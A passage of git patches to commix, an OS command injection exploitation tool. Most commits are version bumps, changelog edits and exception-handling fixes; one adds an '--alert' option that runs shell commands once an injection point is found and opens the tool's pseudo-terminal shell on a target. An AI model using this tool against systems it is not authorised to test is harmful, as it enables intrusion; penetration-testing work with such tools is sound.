re.search(r"About:(.*)\n", content) if match: @@ -1148,7 +1148,7 @@ def tamper_scripts(stored_tamper_scripts): # Check the provided tamper script(s) available_scripts = [] provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()))) - for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): + for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): available_scripts.append(os.path.basename(script.split(".py")[0])) for script in provided_scripts: if script in available_scripts: diff --git a/src/utils/settings.py b/src/utils/settings.py index a2450770be..d608614a89 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "58" +REVISION = "59" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 396c67bb643f08ff918cac60c847bd4dbfa9cf74 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 8 Feb 2023 08:08:37 +0200 Subject: [PATCH 278/560] Fixes https://github.com/commixproject/commix/issues/811 --- src/utils/common.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 645cce5d35..be742cc330 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -307,7 +307,7 @@ def unhandled_exception(): elif all(_ in exc_msg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or \ any(_ in exc_msg for _ in ("source code string cannot contain null bytes", "No module named")) or \ - any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module")): + any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", " Date: Fri, 10 Feb 2023 08:49:25 +0200 Subject: [PATCH 279/560] Minor update --- README.md | 3 ++- doc/THANKS.md | 1 + src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index e149bd0b1f..34e8aeb1b8 100644 --- a/README.md +++ b/README.md @@ -43,4 +43,5 @@ To get an overview of commix available options, switches and/or basic ideas on h ## Translations -* [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) \ No newline at end of file +* [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) +* [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) \ No newline at end of file diff --git a/doc/THANKS.md b/doc/THANKS.md index 44e0c582d9..889a3a64a3 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,7 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [galihap76](https://github.com/galihap76) for contributing an Indonesian translation of README.md. * Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`). * Thanks [0x27](https://github.com/0x27) for suggesting an enhancement. * Thanks [609496288](https://github.com/609496288) for reporting a bug. diff --git a/src/utils/settings.py b/src/utils/settings.py index bd2c6f9186..f2719c4b1f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "60" +REVISION = "61" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 57a598b33dfca2b218e9c93b153b011c39ef5cb2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 17 Feb 2023 09:27:36 +0200 Subject: [PATCH 280/560] Updated to v3.7 --- doc/CHANGELOG.md | 2 +- setup.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9ab42d8fee..6dfb28b1d1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 3.7 (TBA) +## Version 3.7 (2023-02-17) * Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). * Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). diff --git a/setup.py b/setup.py index 5e356a3ae1..659ffec41c 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.7-dev', + version='3.7', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index f2719c4b1f..8bc684c474 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -242,7 +242,7 @@ def sys_argv_errors(): AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" REVISION = "61" -STABLE_RELEASE = False +STABLE_RELEASE = True VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" From c67abb629bf4d579961a9c1c5075856557c326f2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 19 Feb 2023 10:53:35 +0200 Subject: [PATCH 281/560] Update CHANGELOG.md --- doc/CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 6dfb28b1d1..33af793dbd 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.7 (2023-02-17) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). * Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). From 0929e1887e38d58760fd096b9c5af3b2d7881448 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 20 Feb 2023 09:05:56 +0200 Subject: [PATCH 282/560] Added a new option `--alert` to run host OS command(s) when injection point is found. --- doc/CHANGELOG.md | 3 +++ setup.py | 2 +- .../blind/techniques/time_based/tb_handler.py | 1 + src/core/injections/controller/checks.py | 15 +++++++++++++++ .../techniques/classic/cb_handler.py | 3 ++- .../techniques/eval_based/eb_handler.py | 3 ++- .../semiblind/techniques/file_based/fb_handler.py | 3 ++- .../techniques/tempfile_based/tfb_handler.py | 1 + src/core/main.py | 7 +++++++ src/core/modules/shellshock/shellshock.py | 3 ++- src/utils/menu.py | 6 ++++++ src/utils/settings.py | 9 ++++++--- 12 files changed, 48 insertions(+), 8 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 33af793dbd..b2c7ef2d07 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 3.8 (TBA) +* Added: New option `--alert` to run host OS command(s) when injection point is found. + ## Version 3.7 (2023-02-17) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). diff --git a/setup.py b/setup.py index 659ffec41c..dce7dc683a 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.7', + version='3.8-dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index b040d64f40..e8d5f8511a 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -451,6 +451,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Pseudo-Terminal shell try: + checks.alert() go_back = False go_back_again = False while True: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 5fd3c23cbc..9fdd85d4a0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -26,6 +26,7 @@ import gzip import zlib import traceback +import subprocess from glob import glob from src.utils import common from src.utils import logs @@ -131,6 +132,20 @@ def mobile_user_agents(): common.invalid_option(mobile_user_agent) pass +""" +Run host OS command(s) when injection point is found. +""" +def alert(): + if settings.ALERT: + info_msg = "Executing alerting shell command(s) '" + str(menu.options.alert) + "'." + print(settings.print_info_msg(info_msg)) + try: + process = subprocess.Popen(menu.options.alert, shell=True) + process.wait() + except Exception as ex: + err_msg = "Error occurred while executing command(s) '" + str(menu.options.alert) + "'." + print(settings.print_error_msg(err_msg)) + """ Check for HTTP Method """ diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 3d0c67f6de..3ced16c42a 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -326,8 +326,9 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if menu.options.os_cmd: cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # Pseudo-Terminal shell try: - # Pseudo-Terminal shell + checks.alert() go_back = False go_back_again = False while True : diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 0a07053332..13fc592cd8 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -338,8 +338,9 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if menu.options.os_cmd: eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # Pseudo-Terminal shell try: - # Pseudo-Terminal shell + checks.alert() go_back = False go_back_again = False while True: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index a24fe70083..2ea127a434 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -553,8 +553,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Pseudo-Terminal shell try: - # Pseudo-Terminal shell + checks.alert() go_back = False go_back_again = False while True: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 87798a7129..2f4e6dee82 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -495,6 +495,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Pseudo-Terminal shell try: + checks.alert() go_back = False go_back_again = False while True: diff --git a/src/core/main.py b/src/core/main.py index 14bbca449e..8daee1b8dd 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -290,6 +290,13 @@ def check_for_injected_url(url): """ def main(filename, url): try: + if menu.options.alert: + if menu.options.alert.startswith('-'): + err_msg = "Value for option '--alert' must be valid operating system command(s)." + print(settings.print_error_msg(err_msg)) + else: + settings.ALERT = True + if menu.options.offline: settings.CHECK_FOR_UPDATES_ON_START = False diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 817e53767d..e708cba555 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -414,8 +414,9 @@ def shellshock_handler(url, http_request_method, filename): shell, payload = cmd_exec(url, cmd, cve, check_header, filename) checks.print_single_os_cmd(cmd, shell) + # Pseudo-Terminal shell try: - # Pseudo-Terminal shell + checks.alert() go_back = False go_back_again = False while True: diff --git a/src/utils/menu.py b/src/utils/menu.py index e3069316c7..71ca7e0ec8 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -561,6 +561,12 @@ def banner(): default=False, help="Display list of available tamper scripts.") +misc.add_option("--alert", + action="store", + dest="alert", + default=False, + help="Run host OS command(s) when injection point is found.") + misc.add_option("--no-logging", action="store_true", dest="no_logging", diff --git a/src/utils/settings.py b/src/utils/settings.py index 8bc684c474..af577ce839 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -240,9 +240,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "3.7" -REVISION = "61" -STABLE_RELEASE = True +VERSION_NUM = "3.8" +REVISION = "1" +STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" @@ -1235,6 +1235,9 @@ def sys_argv_errors(): CHECKING_PARAMETER = "" +# Run host OS command(s) when injection point is found. +ALERT = False + USE_PCRE_E_MODIFIER = None PCRE_MODIFIER = "/e" From 7a75bc06185a8f0ba47544808fdb3cbb2e236725 Mon Sep 17 00:00:00 2001 From: daniruiz Date: Sun, 26 Feb 2023 10:07:40 +0100 Subject: [PATCH 283/560] Fix typo 'ptint' instead of 'print' I've already pushed the patch in Kali so it should be fixed soon https://gitlab.com/kalilinux/packages/commix/-/commit/799c72b4698bcdaeb4c3cd5b3dc66254acf57438 --- src/core/injections/controller/checks.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 9fdd85d4a0..85ee8076ca 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2092,7 +2092,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi # print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.PASSWD_FILE + "'." - ptint(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: @@ -2491,4 +2491,4 @@ def define_py_working_dir(): pass settings.USER_DEFINED_PYTHON_DIR = True -# eof \ No newline at end of file +# eof From 10f594ad1c485cc8016852cf780f0287807ede32 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 26 Feb 2023 20:35:57 +0200 Subject: [PATCH 284/560] Minor update regarding PR https://github.com/commixproject/commix/commit/57bbe7ab876f2adec672a2fdb9c378a2561c80c4 --- doc/THANKS.md | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index 889a3a64a3..5999a82158 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,7 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [daniruiz](https://github.com/daniruiz) for contributing code. * Thanks [galihap76](https://github.com/galihap76) for contributing an Indonesian translation of README.md. * Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`). * Thanks [0x27](https://github.com/0x27) for suggesting an enhancement. diff --git a/src/utils/settings.py b/src/utils/settings.py index af577ce839..993d585bc8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "1" +REVISION = "2" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8228d8f74133468229d9859b9c0570d326606c28 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 27 Feb 2023 10:45:30 +0200 Subject: [PATCH 285/560] Fixes https://github.com/commixproject/commix/issues/816 --- src/core/injections/controller/checks.py | 2 +- src/core/requests/headers.py | 6 +++--- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 2 +- src/core/requests/tor.py | 2 +- src/utils/settings.py | 2 +- 6 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 85ee8076ca..f03f853979 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2491,4 +2491,4 @@ def define_py_working_dir(): pass settings.USER_DEFINED_PYTHON_DIR = True -# eof +# eof \ No newline at end of file diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index e4b1482cab..a84262ea73 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -137,7 +137,7 @@ def http_open(self, req): self.print_http_response() self.do_open(connection, req) return super(connection_handler, self).http_open(req) - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: checks.connection_exceptions(err_msg) def https_open(self, req): @@ -145,7 +145,7 @@ def https_open(self, req): self.print_http_response() self.do_open(connection, req) return super(connection_handler, self).https_open(req) - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: checks.connection_exceptions(err_msg) opener = _urllib.request.build_opener(connection_handler()) @@ -191,7 +191,7 @@ def https_open(self, req): if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - except (SocketError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: if not settings.MULTI_TARGETS and not settings.CRAWLING: pass else: diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index e7245ed4b2..5335ebd125 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -64,7 +64,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): opener = _urllib.request.build_opener(RedirectHandler()) _urllib.request.install_opener(opener) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL) as err_msg: requests.crawler_request(redirect_url) try: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 8cab82f762..3fef642a40 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -64,7 +64,7 @@ def crawler_request(url): if href != url: crawler.store_hrefs(href, identified_hrefs=True, redirection=True) return response - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: if url not in settings.HREF_SKIPPED: settings.HREF_SKIPPED.append(url) settings.CRAWLED_SKIPPED_URLS_NUM += 1 diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 49c88c01b1..80f34e68e1 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -90,7 +90,7 @@ def do_check(): print(settings.print_critical_msg(err_msg)) raise SystemExit() - except _http_client.BadStatusLine as err_msg: + except (_http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg: print(settings.SINGLE_WHITESPACE) if len(err_msg.line) > 2 : print(err_msg.line, err_msg.message) diff --git a/src/utils/settings.py b/src/utils/settings.py index 993d585bc8..8b48caf28b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4e286479f6a7b971af55643e4a2cf64285053e3c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 24 Mar 2023 09:15:32 +0200 Subject: [PATCH 286/560] The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 30 +++++++++--------------- src/core/main.py | 10 ++++---- src/utils/menu.py | 6 ++--- src/utils/settings.py | 2 +- 5 files changed, 20 insertions(+), 29 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b2c7ef2d07..28e42d294c 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. * Added: New option `--alert` to run host OS command(s) when injection point is found. ## Version 3.7 (2023-02-17) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f03f853979..c4a75bacad 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -924,17 +924,16 @@ def identified_os(): pass """ -Check for third-party (non-core) libraries. +Checking all required third-party library dependencies. """ def third_party_dependencies(): - info_msg = "Checking for third-party (non-core) libraries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking all required third-party library dependencies." + print(settings.print_debug_msg(debug_msg)) try: import sqlite3 except ImportError: - print(settings.SINGLE_WHITESPACE) err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library " err_msg += "in order to store previous injection points and commands. " print(settings.print_critical_msg(err_msg)) @@ -947,27 +946,20 @@ def third_party_dependencies(): try: import pyreadline except ImportError: - print(settings.SINGLE_WHITESPACE) - err_msg = settings.APPLICATION + " requires 'pyreadline' third-party library " + err_msg = "The 'pyreadline' (third-party) library is required " err_msg += "in order to be able to take advantage of the TAB " - err_msg += "completion and history support features. " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - elif settings.PLATFORM == "mac": + err_msg += "completion and history support features." + print(settings.print_error_msg(err_msg)) + elif settings.PLATFORM == "posix": try: import gnureadline except ImportError: - print(settings.SINGLE_WHITESPACE) - err_msg = settings.APPLICATION + " requires 'gnureadline' third-party library " + err_msg = "The 'gnureadline' (third-party) library is required " err_msg += "in order to be able to take advantage of the TAB " - err_msg += "completion and history support features. " - print(settings.print_critical_msg(err_msg)) + err_msg += "completion and history support features." + print(settings.print_error_msg(err_msg)) pass - print(settings.SINGLE_WHITESPACE) - info_msg = "All required third-party (non-core) libraries are seems to be installed." - print(settings.print_bold_info_msg(info_msg)) - """ Print the authentiation error message. """ diff --git a/src/core/main.py b/src/core/main.py index 8daee1b8dd..c0d0aa35a5 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -591,11 +591,9 @@ def main(filename, url): checks.no_readline_module() raise SystemExit() - # Check if defined "--dependencies" option. - # For checking (non-core) third party dependenices. - if menu.options.noncore_dependencies: + # Check if defined "--ignore-dependencies" option. + if not menu.options.ignore_dependencies: checks.third_party_dependencies() - raise SystemExit() # Check if defined "--update" option. if menu.options.update: @@ -613,9 +611,9 @@ def main(filename, url): # Check for missing mandatory option(s). if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ - menu.options.update, menu.options.list_tampers, menu.options.noncore_dependencies)): + menu.options.update, menu.options.list_tampers)): if not menu.options.purge: - err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). " + err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers or --purge). " err_msg += "Use -h for help." print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/menu.py b/src/utils/menu.py index 71ca7e0ec8..2c660850f4 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -549,11 +549,11 @@ def banner(): # Miscellaneous options misc = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Miscellaneous" + Style.RESET_ALL) -misc.add_option("--dependencies", +misc.add_option("--ignore-dependencies", action="store_true", - dest="noncore_dependencies", + dest="ignore_dependencies", default=False, - help="Check for third-party (non-core) dependencies.") + help="Ignore all required third-party library dependencies.") misc.add_option("--list-tampers", action="store_true", diff --git a/src/utils/settings.py b/src/utils/settings.py index 8b48caf28b..5b793aaf60 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c9933ff1420174a9d8c26967215629121ab7c971 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 1 Apr 2023 08:57:17 +0300 Subject: [PATCH 287/560] Fixes https://github.com/commixproject/commix/issues/821 --- src/core/main.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index c0d0aa35a5..8b3d82a93c 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -475,6 +475,7 @@ def main(filename, url): checks.check_CGI_scripts(url) # Check if defined "--file-upload" option. if menu.options.file_upload: + menu.options.file_upload = os.path.abspath(menu.options.file_upload) checks.file_upload() try: _urllib.request.urlopen(menu.options.file_upload, timeout=settings.TIMEOUT) diff --git a/src/utils/settings.py b/src/utils/settings.py index 5b793aaf60..1ecb5318c0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e0fc2ec5e6a0d9e28e042bacc7ce726cda6e8480 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 2 Apr 2023 11:19:56 +0300 Subject: [PATCH 288/560] Minor update --- src/core/injections/controller/checks.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c4a75bacad..1324865b15 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2389,7 +2389,7 @@ def file_upload(): # menu.options.file_dest = menu.options.file_dest + "/" # Check if not defined URL for upload. while True: - message = "Do you want to enable an HTTP server? [Y/n] > " + message = "Do you want to enable a local HTTP server? [Y/n] > " enable_HTTP_server = common.read_input(message, default="Y", check_batch=True) if enable_HTTP_server in settings.CHOICE_YES: @@ -2429,7 +2429,7 @@ def file_upload(): elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): - err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " + err_msg = "The provided '--file-upload' option requires the activation of a local HTTP server." print(settings.print_critical_msg(err_msg)) raise SystemExit() break diff --git a/src/utils/settings.py b/src/utils/settings.py index 1ecb5318c0..ea5371f16c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a4446e58cbf0d717ab534609ac426492695243e8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 3 Apr 2023 07:30:35 +0300 Subject: [PATCH 289/560] Fixes https://github.com/commixproject/commix/issues/823 --- src/core/injections/controller/checks.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 1324865b15..eb3a69a7f2 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -750,9 +750,9 @@ def no_readline_module(): err_msg += "not have GNU 'readline' module installed." err_msg += " Download the" if settings.IS_WINDOWS: - err_msg += " 'pyreadline' module (https://pypi.python.org/pypi/pyreadline)." + err_msg += " 'pyreadline' package (https://pypi.python.org/pypi/pyreadline) or the 'pyreadline3' package (https://pypi.python.org/pypi/pyreadline3) instead." elif settings.PLATFORM == "mac": - err_msg += " 'gnureadline' module (https://pypi.python.org/pypi/gnureadline)." + err_msg += " 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)." print(settings.print_critical_msg(err_msg)) """ @@ -941,7 +941,7 @@ def third_party_dependencies(): try: import readline - except ImportError: + except (ImportError, AttributeError): if settings.IS_WINDOWS: try: import pyreadline diff --git a/src/utils/settings.py b/src/utils/settings.py index ea5371f16c..745f21ffe1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 